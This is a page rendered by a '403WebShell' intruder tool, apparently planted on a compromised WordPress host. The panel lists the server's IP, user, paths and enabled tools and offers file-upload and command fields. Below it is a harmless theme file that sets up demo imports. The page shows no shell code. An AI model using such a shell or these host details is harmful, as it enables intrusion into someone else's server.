Done ! 403WebShell
403Webshell
Server IP : 46.105.57.169  /  Your IP : 216.73.216.67
Web Server : Apache
System : Linux webm002.cluster120.gra.hosting.ovh.net 6.18.42-ovh-vps-grsec-zfs+ #1 SMP PREEMPT_DYNAMIC Wed Aug 5 15:59:48 CEST 2026 x86_64
User : verseaumee ( 152031)
PHP Version : 8.5.7
Disable Function : _dyuweyrj4,_dyuweyrj4r,dl
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON  |  Sudo : OFF  |  Pkexec : OFF
Directory :  /home/verseaumee/geniouskin/wp-content/themes/ixlab/admin/inc/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /home/verseaumee/geniouskin/wp-content/themes/ixlab/admin/inc/class-sample-data.php
<?php
/**
 * WARNING: This file is part of the theme. DO NOT edit
 * this file under any circumstances.
 */

/**
 * Prevent direct access to this file
 */
defined( 'ABSPATH' ) or die();

add_filter( 'ocdi/import_files', 'ixlab_import_files' );

add_action( 'ocdi/after_import', 'ixlab_after_import_setup' );

function ixlab_import_files() {
  return [
    [
      'import_file_name'             => 'Demo Import',
      'local_import_file'            => trailingslashit( get_template_directory() ) . 'demo/demo-content.xml',
      'local_import_widget_file'     => trailingslashit( get_template_directory() ) . 'demo/widgets.wie',
      'local_import_customizer_file' => trailingslashit( get_template_directory() ) . 'demo/customizer.dat',
      'preview_url'                  => 'https://live.21lab.co/nitto/',
    ],
  ];
}

function ixlab_after_import_setup() {
    // Assign menus to their locations.
    $top_menu     = get_term_by('name', 'Top Menu', 'nav_menu');
    $main_menu    = get_term_by('name', 'Main Menu', 'nav_menu' );
    $mobile_menu  = get_term_by('name', 'Mobile Menu', 'nav_menu');
 
    set_theme_mod( 'nav_menu_locations', [
            'top'     => $top_menu->term_id,
            'primary' => $main_menu->term_id,
            'sliding' => $main_menu->term_id
        ]
    );
 
    // Assign front page and posts page (blog page).
    $front_page_id = get_page_by_title( 'Home' );
    $blog_page_id  = get_page_by_title( 'Blog' );
 
    update_option( 'show_on_front', 'page' );
    update_option( 'page_on_front', $front_page_id->ID );
    update_option( 'page_for_posts', $blog_page_id->ID );
    update_option( 'posts_per_page', '6' );
    update_option( 'widget_block', '0' );

    //Import Revolution Slider
    if ( class_exists( 'RevSlider' ) ) {
         $slider_array = array(
            get_template_directory()."/demo/home1.tar",
            get_template_directory()."/demo/home3.tar"
            );

         $slider = new RevSlider();
     
         foreach($slider_array as $filepath){
           $slider->importSliderFromPost(true,true,$filepath);  
         }
     
         echo ' Slider processed';
    }
}

Youez - 2016 - github.com/yon3zu
LinuXploit